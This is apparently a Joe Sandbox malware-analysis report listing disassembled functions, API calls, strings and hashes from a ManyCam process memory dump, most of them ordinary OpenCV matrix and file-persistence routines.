Part of subcall function 0179D5E0: RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\SYSTEM\CentralProcessor\0\,00000000,00000001,?), ref: 0179D65B
Part of subcall function 0179D5E0: RegQueryValueExA.KERNEL32(?,~MHz,00000000,00000000,?,?), ref: 0179D67B
Part of subcall function 0179D5E0: RegCloseKey.KERNEL32(?), ref: 0179D69F

Strings

%s%s.dll, xrefs: 0179DB9A

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Library$CloseFreeInfoLoadOpenQuerySystemValuesprintf
String ID: %s%s.dll
API String ID: 1854164814-1649984862
Opcode ID: 56a55aedb624874e86d004e8ea47ac75a9641b5aceca53a7b8d0a9ada6f9e6fb
Instruction ID: ee129ff2e3241c76177c6801244abd67d1e4a45888a2be10d281af3b556504de
Opcode Fuzzy Hash: 56a55aedb624874e86d004e8ea47ac75a9641b5aceca53a7b8d0a9ada6f9e6fb
Instruction Fuzzy Hash: E641A3755093098BDB35DF5CE88822AFBF4FB84B24F44452EE84457257E3309A8DCB92

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 017600D0 Relevance: 97.1, APIs: 39, Strings: 16, Instructions: 851COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvCalcCovarMatrix,NULL vec pointer,.\cxmatmul.cpp,000009B4), ref: 0176021A
cvGetMat.CXCORE099(?,?,00000000,00000000), ref: 01760235

Part of subcall function 016FE130: cvError.CXCORE099(000000E5,cvGetMat,NULL array pointer is passed,.\cxarray.cpp,00000ADB,?,?,?,?), ref: 016FE4BC

cvGetErrStatus.CXCORE099 ref: 01760243

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvGetMat.CXCORE099(?,?,00000000,00000000), ref: 01760261
cvGetErrStatus.CXCORE099 ref: 0176026F
cvError.CXCORE099(000000FF,cvCalcCovarMatrix,Inner function failed.,.\cxmatmul.cpp,000009B7), ref: 0176028E
cvError.CXCORE099(FFFFFF33,cvCalcCovarMatrix,Covariation matrix and average vector should have the same types,.\cxmatmul.cpp,000009BB), ref: 017602C4

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(FFFFFF2E,cvCalcCovarMatrix,The format of input vectors is not supported,.\cxmatmul.cpp,00000A6E), ref: 01760953
cvFree_.CXCORE099(?), ref: 01760CBF
cvReleaseMat.CXCORE099(?,?), ref: 01760CCC

Strings

All vectors must have a single channel, xrefs: 0176075A
Covariation matrix must be square, xrefs: 0176030A
All input vectors must have the same type, xrefs: 017607A0
cvCalcCovarMatrix, xrefs: 01760213, 01760287, 017602BA, 0176030F, 017603A4, 0176043B, 0176048F, 017604C5, 0176051D, 01760732, 0176075F, 01760782, 017607A5, 017607CB, 01760949
All input vectors and average vector must have the same size, xrefs: 017607C6
Covariation matrix must be 32fC1 or 64fC1, xrefs: 017602EE
The format of input vectors is not supported, xrefs: 0176072D, 01760944
.\cxmatmul.cpp, xrefs: 01760209, 0176027D, 017602B0, 017602E9, 01760305, 0176039A, 01760431, 01760485, 017604BB, 01760513, 01760728, 01760755, 01760778, 0176079B, 017607C1, 0176093F
The number of vectors is zero or negative, xrefs: 0176048A
The number of input vectors does not match to avg vector size, xrefs: 0176039F, 01760436
NULL vec pointer, xrefs: 0176020E
The size of input vectors does not match with the size of covariation matrix, xrefs: 017604C0
Inner function failed., xrefs: 01760282, 0176077D
Covariation matrix and average vector should have the same types, xrefs: 017602B5
, xrefs: 01760AA4
The vector count and covariance matrix size do not match, xrefs: 01760518

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$Free_Releasemalloc
String ID: $.\cxmatmul.cpp$All input vectors and average vector must have the same size$All input vectors must have the same type$All vectors must have a single channel$Covariation matrix and average vector should have the same types$Covariation matrix must be 32fC1 or 64fC1$Covariation matrix must be square$Inner function failed.$NULL vec pointer$The format of input vectors is not supported$The number of input vectors does not match to avg vector size$The number of vectors is zero or negative$The size of input vectors does not match with the size of covariation matrix$The vector count and covariance matrix size do not match$cvCalcCovarMatrix
API String ID: 1144712305-2216315964
Opcode ID: d482224ba472a9f7afc43f6282a40da042e224600b70493c26bc64a2912eb9aa
Instruction ID: 5110f25e9d82c2ed9610a2da4ab63135f182fa72e7a2c6a4150ec81f4baafae8
Opcode Fuzzy Hash: d482224ba472a9f7afc43f6282a40da042e224600b70493c26bc64a2912eb9aa
Instruction Fuzzy Hash: 4972BAB1A083019FD720DF19D895A1AFBA9FBC4710F108A5DF9909B29AE771D851CF82

Uniqueness

Uniqueness Score: -1.00%

Function 017883B0 Relevance: 91.9, APIs: 36, Strings: 16, Instructions: 933COMMON

Download Yara Rule

APIs

cvFindType.CXCORE099(?,00000000,00000000,00000000,00000000,01789243,00000000), ref: 01788640
cvGetErrStatus.CXCORE099(00000000,?,?,?,00000000,00000000), ref: 0178864B
cvGetErrStatus.CXCORE099(?,00000000,?,?,?,00000000,00000000), ref: 01788690
isdigit.MSVCR80 ref: 0178871C
isdigit.MSVCR80 ref: 0178873D
isalnum.MSVCR80 ref: 01788764
cvGetErrStatus.CXCORE099(?,?,?,?,?,?,00000000,00000000), ref: 01788843
cvError.CXCORE099(000000FF,icvYMLParseValue,Inner function failed.,.\cxpersistence.cpp,0000042E,?,?,?,?,?,?,00000000,00000000), ref: 017889F8

Strings

Missing , between the elements, xrefs: 01788C58
Incorrect indentation, xrefs: 01788A15
Invalid character, xrefs: 01788804, 01788D2F, 01788E87
Block sequence elements must be preceded with '-', xrefs: 017889C3
float, xrefs: 017885A5
Empty type name, xrefs: 01788460
icvYMLParseValue, xrefs: 017889F1, 01788FC1
Multi-line text literals are not supported, xrefs: 017887D9
Too long string literal, xrefs: 01788D07, 01788E59, 01788E78
Complex keys are not supported, xrefs: 017887BC
x, xrefs: 01788E2D
., xrefs: 0178874E
Inner function failed., xrefs: 017889EC
The wrong closing bracket, xrefs: 01788C99
.\cxpersistence.cpp, xrefs: 017889E7, 01788FBC
Invalid numeric value (inconsistent explicit type specification?), xrefs: 01788FB2

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Status$isdigit$ErrorFindTypeisalnum
String ID: .$.\cxpersistence.cpp$Block sequence elements must be preceded with '-'$Complex keys are not supported$Empty type name$Incorrect indentation$Inner function failed.$Invalid character$Invalid numeric value (inconsistent explicit type specification?)$Missing , between the elements$Multi-line text literals are not supported$The wrong closing bracket$Too long string literal$float$icvYMLParseValue$x
API String ID: 2575932437-2163930204
Opcode ID: dfcc4277a60b6fa7101667354f0b4d2862ee93951167a5c3968c677c4d972bc6
Instruction ID: a29a3a974398d0fef43938562fbe3c17f7bd5c9e4d51ad96653500586222ef44
Opcode Fuzzy Hash: dfcc4277a60b6fa7101667354f0b4d2862ee93951167a5c3968c677c4d972bc6
Instruction Fuzzy Hash: C66237706883469FEB24FE2CC95476BFBD1AB84308FC8456DEA858B287E734D6448753

Uniqueness

Uniqueness Score: -1.00%

Function 0178C360 Relevance: 77.4, APIs: 31, Strings: 13, Instructions: 409
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

cvAlloc.CXCORE099(?), ref: 0178C3B0
cvGetErrStatus.CXCORE099 ref: 0178C3BC

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvStartReadSeq.CXCORE099(?,?,00000000), ref: 0178C3D6
cvChangeSeqBlock.CXCORE099(?,00000001), ref: 0178C41F
cvStartWriteStruct.CXCORE099(?,?,00000006,opencv-graph,00000000,00000000), ref: 0178C44A
cvGetErrStatus.CXCORE099 ref: 0178C452
cvError.CXCORE099(000000FF,icvWriteGraph,Inner function failed.,.\cxpersistence.cpp,00001198), ref: 0178C5F5
cvStartWriteStruct.CXCORE099(?,vertices,0000000D,00000000,00000000,00000000), ref: 0178C6D3
cvStartReadSeq.CXCORE099(?,?,00000000,?,vertices,0000000D,00000000,00000000,00000000), ref: 0178C6E0
memcpy.MSVCR80(?,?,?), ref: 0178C758
cvWriteRawData.CXCORE099(?,00000000,?,?), ref: 0178C779
cvChangeSeqBlock.CXCORE099(?,00000001), ref: 0178C79D
cvWriteRawData.CXCORE099(?,00000000,00000000,?), ref: 0178C7CD
cvEndWriteStruct.CXCORE099(?), ref: 0178C7DA
cvEndWriteStruct.CXCORE099(?), ref: 0178C7FB
cvStartReadSeq.CXCORE099(?,?,00000000,?), ref: 0178C80C
cvChangeSeqBlock.CXCORE099(?,00000001), ref: 0178C847
cvFree_.CXCORE099(?), ref: 0178C860
cvFree_.CXCORE099(?,?), ref: 0178C86A

Strings

%08x, xrefs: 0178C479
2if%s, xrefs: 0178C54D
vertices, xrefs: 0178C6BB, 0178C6CD
opencv-graph, xrefs: 0178C43D
vertex_dt, xrefs: 0178C4B7, 0178C4E4
vertex_count, xrefs: 0178C497
flags, xrefs: 0178C48B
edges, xrefs: 0178C6C2
edge_count, xrefs: 0178C4F7
Inner function failed., xrefs: 0178C5E9
edge_dt, xrefs: 0178C51A, 0178C55F
.\cxpersistence.cpp, xrefs: 0178C5E4
icvWriteGraph, xrefs: 0178C5EE

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Write$Start$Struct$BlockChangeRead$DataFree_Status$AllocErrormallocmemcpy
String ID: %08x$.\cxpersistence.cpp$2if%s$Inner function failed.$edge_count$edge_dt$edges$flags$icvWriteGraph$opencv-graph$vertex_count$vertex_dt$vertices
API String ID: 3464137964-881343473
Opcode ID: 3aad12e0ba17f7f3317db25b305323bfdfcc3a3b0c3581ea3be7dd008f9f5ea8
Instruction ID: b21dc767049d17167946146cfee00b71ae81f4a49c9d92cccc53da6520003f2d
Opcode Fuzzy Hash: 3aad12e0ba17f7f3317db25b305323bfdfcc3a3b0c3581ea3be7dd008f9f5ea8
Instruction Fuzzy Hash: 08E1CCB1648302AFD714EF18C884AABF7E9EFD8708F10491CF64597245EB71E945CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0175E110 Relevance: 63.6, APIs: 32, Strings: 3, Instructions: 2324COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,?,?,00000000), ref: 0175E177
cvGetErrStatus.CXCORE099 ref: 0175E182
cvError.CXCORE099(000000FF,cvGEMM,Inner function failed.,.\cxmatmul.cpp,0000028F), ref: 0175E1A1
cvError.CXCORE099(000000E8,cvGEMM,017A124F,.\cxmatmul.cpp,00000280), ref: 0175E1C9
cvGetMat.CXCORE099(?,?,?,00000000), ref: 0175E1FF
cvGetErrStatus.CXCORE099 ref: 0175E20A
cvError.CXCORE099(000000E8,cvGEMM,017A124F,.\cxmatmul.cpp,000002A0), ref: 0175E238
cvGetMat.CXCORE099(?,?,?,00000000), ref: 0175E26C
cvGetErrStatus.CXCORE099 ref: 0175E279
cvGetMat.CXCORE099(?,?,?,00000000), ref: 0175E2DE
cvGetErrStatus.CXCORE099 ref: 0175E2E9
cvError.CXCORE099(FFFFFF33,cvGEMM,017A124F,.\cxmatmul.cpp,000002A4), ref: 0175E338
cvError.CXCORE099(FFFFFF2F,cvGEMM,017A124F,.\cxmatmul.cpp,000002A8), ref: 0175E38C
cvTranspose.CXCORE099(?,00000000), ref: 0175E3A9
cvError.CXCORE099(FFFFFF2F,cvGEMM,017A124F,.\cxmatmul.cpp,000002C9), ref: 0175E475
cvError.CXCORE099(FFFFFF2F,cvGEMM,017A124F,.\cxmatmul.cpp,000002D0), ref: 0175E4BA
cvError.CXCORE099(FFFFFF2F,cvGEMM,017A124F,.\cxmatmul.cpp,000002D7), ref: 0175E4FB
cvError.CXCORE099(FFFFFF2F,cvGEMM,017A124F,.\cxmatmul.cpp,000002DE), ref: 0175E53C

Strings

.\cxmatmul.cpp, xrefs: 0175E190, 0175E1B8, 0175E227, 0175E324, 0175E378, 0175E461, 0175E4A6, 0175E4E7, 0175E528, 0175F2F1, 0175FBBA, 0175FC09
cvGEMM, xrefs: 0175E19A, 0175E1C2, 0175E231, 0175E32E, 0175E382, 0175E46B, 0175E4B0, 0175E4F1, 0175E532, 0175F2FB, 0175FBC4, 0175FC13
Inner function failed., xrefs: 0175E195, 0175FBBF

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$Transpose
String ID: .\cxmatmul.cpp$Inner function failed.$cvGEMM
API String ID: 3014044127-1641548190
Opcode ID: 8b37d6fbae61faf185646f4c8a6bd0d3e9965ba1e6c4112f8620db77e79b3d75
Instruction ID: b9cd0f2cd3fb16ca5addf29bec869180814094db604cdb9f44226096cc5cba9a
Opcode Fuzzy Hash: 8b37d6fbae61faf185646f4c8a6bd0d3e9965ba1e6c4112f8620db77e79b3d75
Instruction Fuzzy Hash: 7E23B0B1A00209DFCB54CF08D98469CBBB1FF48354F264658ED0AAB365EB71E965CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01734710 Relevance: 62.6, APIs: 28, Strings: 7, Instructions: 1340COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,?,?,00000000), ref: 017347D7
cvGetErrStatus.CXCORE099 ref: 017347E4
cvError.CXCORE099(000000FF,cvDFT,Inner function failed.,.\cxdxt.cpp,000006EF), ref: 01734803
cvError.CXCORE099(000000E8,cvDFT,017A124F,.\cxdxt.cpp,000006E9), ref: 0173482B
cvGetMat.CXCORE099(?,?,?,00000000), ref: 01734861
cvGetErrStatus.CXCORE099 ref: 0173486C
cvError.CXCORE099(000000E8,cvDFT,017A124F,.\cxdxt.cpp,000006F2), ref: 0173489A

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(FFFFFF33,cvDFT,017A124F,.\cxdxt.cpp,000006FB), ref: 017348F3
cvError.CXCORE099(FFFFFF2F,cvDFT,017A124F,.\cxdxt.cpp,0000071B), ref: 0173566C
cvError.CXCORE099(FFFFFF33,cvDFT,Incorrect or unsupported combination of input & output formats,.\cxdxt.cpp,00000720), ref: 0173568F

Strings

This mode (using nonzero_rows with a single-column matrix) breaks the function logic, so it is prohibited.For fast convolution/correlation use 2-column matrix or single-row matrix instead, xrefs: 01734B0E
Incorrect or unsupported combination of input & output formats, xrefs: 01735680
Inner function failed., xrefs: 017347F7, 017355EC
OpenCV function failed, xrefs: 0173560B
cvDFT, xrefs: 017347FC, 01734824, 01734893, 017348E9, 01734917, 01734958, 017349B4, 01734A63, 01734B13, 017355F1, 01735610, 01735662, 01735685
Only 32fC1, 32fC2, 64fC1 and 64fC2 formats are supported, xrefs: 01734912, 01734953
.\cxdxt.cpp, xrefs: 017347F2, 0173481A, 01734889, 017348DF, 0173490D, 0173494E, 017349AA, 01734A59, 01734B09, 017355E7, 01735606, 01735658, 0173567B

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxdxt.cpp$Incorrect or unsupported combination of input & output formats$Inner function failed.$Only 32fC1, 32fC2, 64fC1 and 64fC2 formats are supported$OpenCV function failed$This mode (using nonzero_rows with a single-column matrix) breaks the function logic, so it is prohibited.For fast convolution/correlation use 2-column matrix or single-row matrix instead$cvDFT
API String ID: 483703942-1306316974
Opcode ID: 5d1d6b34e7c2293264e0899a905c52c98ebc6acafd3d25562b4f9fd96ddbc27c
Instruction ID: 59ebc070d1450f9995f7da24badca106ff8f966a817ae847847e237f90184bfe
Opcode Fuzzy Hash: 5d1d6b34e7c2293264e0899a905c52c98ebc6acafd3d25562b4f9fd96ddbc27c
Instruction Fuzzy Hash: 28B28CB1A00209DFDF28CF58C994AAEBBB5FF88714F148119FD1697286D731E981CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0179C790 Relevance: 58.4, APIs: 26, Strings: 7, Instructions: 686memoryCOMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,?,00000000,00000000,?,?,?), ref: 0179C7EA
cvGetErrStatus.CXCORE099(?,?,?,?), ref: 0179C7F5
cvError.CXCORE099(000000FF,cvSVD,Inner function failed.,.\cxsvd.cpp,000004D8,?,?,?,?,?,?,?,?), ref: 0179C814
cvGetMat.CXCORE099(?,?,00000000,00000000,?,?,?,?), ref: 0179C842
cvGetErrStatus.CXCORE099(?,?,?,?,?,?,?,?), ref: 0179C84C
cvError.CXCORE099(FFFFFF33,cvSVD,017A124F,.\cxsvd.cpp,000004DB,?,?,?,?,?,?,?,?), ref: 0179C883
cvGetMat.CXCORE099(?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0179C957
cvGetErrStatus.CXCORE099(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0179C964
cvError.CXCORE099(FFFFFF33,cvSVD,017A124F,.\cxsvd.cpp,0000050C,?,?,?,?,?,?,?,?,?,?,?), ref: 0179C9C4
cvError.CXCORE099(FFFFFF2F,cvSVD,U matrix has unappropriate size,.\cxsvd.cpp,00000510,?,?,?,?,?,?,?,?,?,?,?), ref: 0179CA38
cvGetMat.CXCORE099(?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 0179CA93
cvGetErrStatus.CXCORE099(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0179CAA0
cvError.CXCORE099(FFFFFF33,cvSVD,017A124F,.\cxsvd.cpp,00000532,?,?,?,?,?,?,?,?,?,?,?), ref: 0179CAF9
__alloca_probe_16.LIBCMT ref: 0179CBC7
cvInitMatHeader.CXCORE099(?,?,?,?,?,7FFFFFFF,?,?,?,?,?,?,?,?,?), ref: 0179CC04
cvCopy.CXCORE099(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0179CC1C
cvAlloc.CXCORE099(0000BA50,?,?,?,?,?,?,?,?), ref: 0179CC27
cvGetErrStatus.CXCORE099(?,?,?,?,?,?,?,?,?), ref: 0179CC32
cvTranspose.CXCORE099(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0179CC5E
cvInitMatHeader.CXCORE099(?,?,?,?,?,7FFFFFFF,?,?,?,?,?,?,?,?,?), ref: 0179CC91
cvSetZero.CXCORE099(00000000), ref: 0179CD68

Part of subcall function 01799D00: __alloca_probe_16.LIBCMT ref: 01799D39
Part of subcall function 01799D00: memset.MSVCR80 ref: 01799D71
Part of subcall function 01799D00: memset.MSVCR80 ref: 01799D7D

cvTranspose.CXCORE099(?,?), ref: 0179CF15
cvCopy.CXCORE099(?,?,00000000), ref: 0179CF2C
cvTranspose.CXCORE099(?,?), ref: 0179CF46
cvError.CXCORE099(FFFFFF2E,cvSVD,017A124F,.\cxsvd.cpp,00000581,?,?,?,?,?,?,?,?,?), ref: 0179CF69
cvFree_.CXCORE099(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0179CF7F

Strings

.\cxsvd.cpp, xrefs: 0179C803, 0179C86F, 0179C9B0, 0179CA28, 0179CAE5, 0179CC40, 0179CF55
V and W have incompatible sizes, xrefs: 0179CA1E, 0179CB27
Inner function failed., xrefs: 0179C808, 0179CC45
U matrix has unappropriate size, xrefs: 0179CA49, 0179CB3A
U and W have incompatible sizes, xrefs: 0179CA17, 0179CB20
V matrix has unappropriate size, xrefs: 0179CA2D, 0179CA50, 0179CB41
cvSVD, xrefs: 0179C80D, 0179C879, 0179C9BA, 0179CA2E, 0179CAEF, 0179CC4A, 0179CF5F

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$Transpose$CopyHeaderInit__alloca_probe_16memset$AllocFree_Zero
String ID: .\cxsvd.cpp$Inner function failed.$U and W have incompatible sizes$U matrix has unappropriate size$V and W have incompatible sizes$V matrix has unappropriate size$cvSVD
API String ID: 1632448922-2043022851
Opcode ID: 67c12bfaddde8bf9a8c15fb17b96d5ddc5d1a5d0198f3360abce02df5e22120b
Instruction ID: e6b4aab98ad50c61fa1a1e1cac1680c5a75b983f4926fd5a83340f8bd619ed25
Opcode Fuzzy Hash: 67c12bfaddde8bf9a8c15fb17b96d5ddc5d1a5d0198f3360abce02df5e22120b
Instruction Fuzzy Hash: B942CEB1600209DFDF25CF58E890AA9BBB6FF88314F25452DF9159B385D770E889CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0179E4D0 Relevance: 32.1, APIs: 14, Strings: 4, Instructions: 603COMMON

Download Yara Rule

APIs

cvMinMaxLoc.CXCORE099(?,?,?,00000000,00000000,?), ref: 0179E543
cvError.CXCORE099(000000FB,cvNormalize,Unknown/unsupported norm type,.\cxutils.cpp,00000203), ref: 0179E5B6
_CIsqrt.MSVCR80 ref: 0179E6D0
cvReleaseMat.CXCORE099(00000000), ref: 0179E86F
_CIsqrt.MSVCR80 ref: 0179E8DE
cvNorm.CXCORE099(?,00000000,?,?), ref: 0179EA85
cvConvertScale.CXCORE099(?,01763518,?,?,?,?,?,?,00000000,?), ref: 0179EAC3
cvGetMat.CXCORE099(01763518,?,00000000,00000000,?,?,00000000,?), ref: 0179EADE
cvGetErrStatus.CXCORE099(?,?,?,?,?,?,00000000,?), ref: 0179EAEA
cvCreateMat.CXCORE099(?,00000002,?,?,?,?,?,?,?,00000000,?), ref: 0179EB09
cvGetErrStatus.CXCORE099(?,?,?,?,?,?,?,?,?,00000000,?), ref: 0179EB15
cvError.CXCORE099(000000FF,cvNormalize,Inner function failed.,.\cxutils.cpp,0000020B,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0179EB34
cvConvertScale.CXCORE099(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0179EB59
cvCopy.CXCORE099(?,01763518,?,?,?), ref: 0179EB65

Strings

cvNormalize, xrefs: 0179E5AF, 0179EB2D
Inner function failed., xrefs: 0179EB28
Unknown/unsupported norm type, xrefs: 0179E5AA
.\cxutils.cpp, xrefs: 0179E5A5, 0179EB23

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ConvertErrorIsqrtScaleStatus$CopyCreateNormRelease
String ID: .\cxutils.cpp$Inner function failed.$Unknown/unsupported norm type$cvNormalize
API String ID: 3894548046-3038725888
Opcode ID: 8a1d71a6c746d9a326b9285858d8f7af6a48174dafea942fe4ce8ee8e583360b
Instruction ID: e9d54cf1fca4fec19d86c80ff36e7aa1be91a1c65065115ffdf0c80361d5a68e
Opcode Fuzzy Hash: 8a1d71a6c746d9a326b9285858d8f7af6a48174dafea942fe4ce8ee8e583360b
Instruction Fuzzy Hash: C81251B1E001019BDF13EE04E9987ADFBA4FB45750F614E88E54292279FE31D96C8BC1

Uniqueness

Uniqueness Score: -1.00%

Function 0052309D Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 70memorylibraryloaderCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,?,0052317B,?,004086D8,?,00408648,0000000D,0040858E,00000000,?,?,00406405,0000040A,?,0000040A), ref: 005230A0
LoadLibraryA.KERNEL32(kernel32.dll,?,?,?,?,0052317B,?,004086D8,?,00408648,0000000D,0040858E,00000000,?,?,00406405), ref: 005230BA
GetProcAddress.KERNEL32(00000000,InterlockedPushEntrySList), ref: 005230D4
GetProcAddress.KERNEL32(00000000,InterlockedPopEntrySList), ref: 005230E1
GetProcessHeap.KERNEL32(00000000,00000008,?,?,?,?,0052317B,?,004086D8,?,00408648,0000000D,0040858E,00000000), ref: 00523113
HeapAlloc.KERNEL32(00000000,?,?,?,?,0052317B,?,004086D8,?,00408648,0000000D,0040858E,00000000,?,?,00406405), ref: 00523116
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 0052312A
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,0052317B,?,004086D8,?,00408648,0000000D,0040858E,00000000), ref: 00523136
HeapFree.KERNEL32(00000000,?,?,?,?,0052317B,?,004086D8,?,00408648,0000000D,0040858E,00000000,?,?,00406405), ref: 00523139

Strings

InterlockedPushEntrySList, xrefs: 005230CE
kernel32.dll, xrefs: 005230B5
InterlockedPopEntrySList, xrefs: 005230D6

Memory Dump Source

